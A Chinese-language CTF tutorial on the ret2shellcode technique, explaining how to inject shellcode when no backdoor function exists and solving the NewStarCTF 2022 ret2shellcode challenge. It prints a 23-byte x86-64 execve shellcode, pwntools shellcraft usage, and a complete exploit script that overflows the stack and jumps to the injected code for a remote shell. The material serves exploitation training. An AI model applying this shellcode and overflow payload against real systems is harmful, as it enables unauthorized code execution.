这次我们再来介绍一个栈的经典题型
在我们先前遇到的题目中,都有着出题人为我们提供的后门函数,如果没有后门函数,我们又该如何自己构建shellcode呢?
带着这个疑问,我们开始今天的学习
如何写入system(/bin/sh)?#
由于题目通常都会开启NX保护,所以我们要想在栈中写入字符串是不现实的打算
我们好好想想,在内存块的五个分区中,还有哪个区块是可以为我们自由编辑的,这里我们想到了用来存储未初始化的全局变量区bss段
那么如何写入呢?
我们先前已经知道了,计算机读不懂高级语言,即system(/bin/sh)
先前我们已经通过构造rop的方式用汇编语言指引执行流
这次我们尝试用机器码来将shellcode注入到内存中
常用的shellcode:“\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”
这个shellcode只有23个字节,当题目的输入字长给的不够多的时候可以使用这个
当然还有第二种构造机器码的方式
shellcode = asm(shellcraft.sh())
但是你很快就会发现,为什么自己在32位情况下可以使用,但是64位下就不行
我们还需要在后面加上amd64才能使其输出64位的机器码
当然我们也可以通过**context.arch = “amd64”**来使环境转化为64位,于是我们在接下来即使不用amd64也能输出64位机器码
例题解析#
这里以NewStarCTF 2022新生赛公开赛 的ret2shellcode作为例题讲解

老规矩看一下保护机制,NX开了,看来不能在栈上写入
ida看一下具体情况
int __cdecl main(int argc, const char **argv, const char **envp){ char v4[40]; // [rsp+0h] [rbp-30h] BYREF void *buf; // [rsp+28h] [rbp-8h]
init(argc, argv, envp); buf = mmap((void *)0x233000, 0x1000uLL, 7, 34, -1, 0LL); puts("Hello my friend.Any gift for me?"); read(0, buf, 0x100uLL); puts("Anything else?"); read(0, v4, 0x100uLL); puts("Ok.See you!"); return 0;}出现了个mmap函数,用来干什么的?
可以简单理解为 开辟一块空间存放我们输入的值 其地址为第一个参数addr(0x233000)
那么我们的目的就是将shellcode写入这块空间,然后在接下来的栈溢出中控制程序执行流到shellcode
from pwn import*io = remote("node4.buuoj.cn",25533)shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"io.recvuntil("Hello my friend.Any gift for me?")io.sendline(shellcode)io.recvuntil("Anything else?")payload = cyclic(56)+p64(0x233000)io.sendline(payload)io.recv()io.interactive()其实本质上还是栈溢出控制程序执行流到后门函数,只不过这个后门函数是我们自己存入到程序中的,还是挺好理解的